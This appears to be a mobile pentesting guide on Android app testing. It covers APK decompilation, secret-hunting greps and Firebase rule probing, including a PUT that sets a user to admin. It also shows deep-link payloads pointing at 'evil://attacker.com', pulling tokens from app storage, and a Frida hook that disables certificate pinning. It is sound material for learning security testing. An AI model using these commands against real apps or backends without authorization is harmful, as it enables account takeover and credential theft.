Android Testing
Android is friendlier to test than iOS because you don't need a jailbroken device for most work. Static analysis needs nothing but the APK. Dynamic analysis needs an emulator or rooted device. Most of the high-value bugs come from static analysis anyway.
APK Acquisition and Decompilation
# Get the APK from a running device
adb shell pm list packages | grep target
adb shell pm path com.target.app
# -> package:/data/app/com.target.app-1/base.apk
adb pull /data/app/com.target.app-1/base.apk ./target.apk
# Decompile with jadx (best for Java source reconstruction)
jadx -d ./decompiled/ target.apk
jadx-gui target.apk # GUI version, easier for browsing
# Decompile with apktool (better for resources, smali, manifest)
apktool d target.apk -o ./apktool-out/What to look at first:
decompiled/
AndroidManifest.xml <- exported activities, deep links, permissions
res/values/strings.xml <- hardcoded strings, API keys
assets/ <- bundled configs, certs, .proto files
com/target/app/ <- actual sourceHardcoded Secrets
# Grep the decompiled source
grep -r "api[_-]key\|apikey\|secret\|password\|token\|AWS\|firebase\|stripe\|twilio" \
./decompiled/ --include="*.java" -l
# Strings in the APK binary (catches obfuscated code)
strings target.apk | grep -E "https://|api\.|secret|key|token|password"
# Semgrep for structured secret detection
semgrep --config=p/secrets ./decompiled/
# Firebase config is almost always in google-services.json or hardcoded
grep -r "firebase\|firebaseio\|googleapis" ./decompiled/ -l
cat ./apktool-out/assets/google-services.jsonWhat to do with Firebase API keys:
Firebase API keys aren't secret by themselves, but misconfigured Firebase rules are a critical bug. Test read/write access to the database:
curl "https://target-default-rtdb.firebaseio.com/.json?auth=<api_key>"
curl -X PUT "https://target-default-rtdb.firebaseio.com/users/1.json" \
-d '{"admin": true}'Deep Link Exploitation
Deep links let any app on the device (or a website on Android 12+) open your target app to a specific screen. The danger: if the app accepts parameters via deep link and doesn't validate them, you can pre-fill forms, trigger OAuth, or chain to account takeover.
Finding deep links:
# AndroidManifest.xml - look for intent filters with VIEW action
grep -A5 "android.intent.action.VIEW" ./apktool-out/AndroidManifest.xml
# Or in jadx, search for "Uri.parse", "getIntent().getData()", "handleDeepLink"Testing deep links via adb:
# Fire a deep link directly
adb shell am start -a android.intent.action.VIEW \
-d "target://reset-password?token=injected_value" com.target.app
# With URL parameters that look interesting
adb shell am start -a android.intent.action.VIEW \
-d "target://oauth/callback?code=<stolen_code>&state=bypass"
# Test for open redirect in OAuth deep links
adb shell am start -a android.intent.action.VIEW \
-d "target://oauth?redirect_uri=evil://attacker.com"Common deep link bugs:
- OAuth code interception (app registers
target://oauthbut attacker app can too - first one wins on some Android versions) - Parameter injection into WebViews loaded from deep link URLs
- Account action confirmation bypass (password reset, email change) by crafting the deep link with a known/guessed token
Insecure Data Storage
# After running the app with adb shell, check these locations
adb shell
run-as com.target.app
ls /data/data/com.target.app/
shared_prefs/ <- SharedPreferences XML files - often contain tokens
databases/ <- SQLite DBs - message history, cached API responses
files/ <- arbitrary app files
cache/
# Pull the whole data directory (rooted device or emulator)
adb pull /data/data/com.target.app ./app-data/
# Look for tokens, keys, session IDs in SharedPreferences
cat ./app-data/shared_prefs/*.xml
# SQLite databases
sqlite3 ./app-data/databases/app.db
.tables
SELECT * FROM sessions;
SELECT * FROM users;Certificate Pinning Bypass with Frida
Cert pinning blocks your proxy. Frida patches it at runtime.
Setup:
# Download frida-server matching your Frida version
# https://github.com/frida/frida/releases
adb push frida-server-<ver>-android-x86_64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# Verify
frida-ps -U | grep targetBypass with objection (easiest):
objection -g com.target.app explore
# Then inside objection:
android sslpinning disableBypass with frida-script (when objection doesn't work):
# Universal Android SSL Pinning Bypass
# https://github.com/httptoolkit/frida-android-unpinning
frida -U -f com.target.app -l ./frida-android-unpinning.js
# Or the classic Objection SSL bypass script
frida -U --codeshare akabe1/frida-multiple-unpinning -f com.target.appWhen scripted bypasses fail:
- The app uses a custom TrustManager. Find it in jadx, hook it specifically.
- The app uses OkHttp's
CertificatePinner. HookCertificatePinner.check(). - Native-level pinning (compiled with openssl). Harder, need to find the verify function.
// Hook OkHttp CertificatePinner specifically
Java.perform(function() {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log('[*] Bypassing CertificatePinner for: ' + hostname);
return;
};
});See Also
- Shared Mobile Patterns - API extraction via proxy, once pinning is bypassed
- REST API Testing - backend bugs you'll find after getting traffic flowing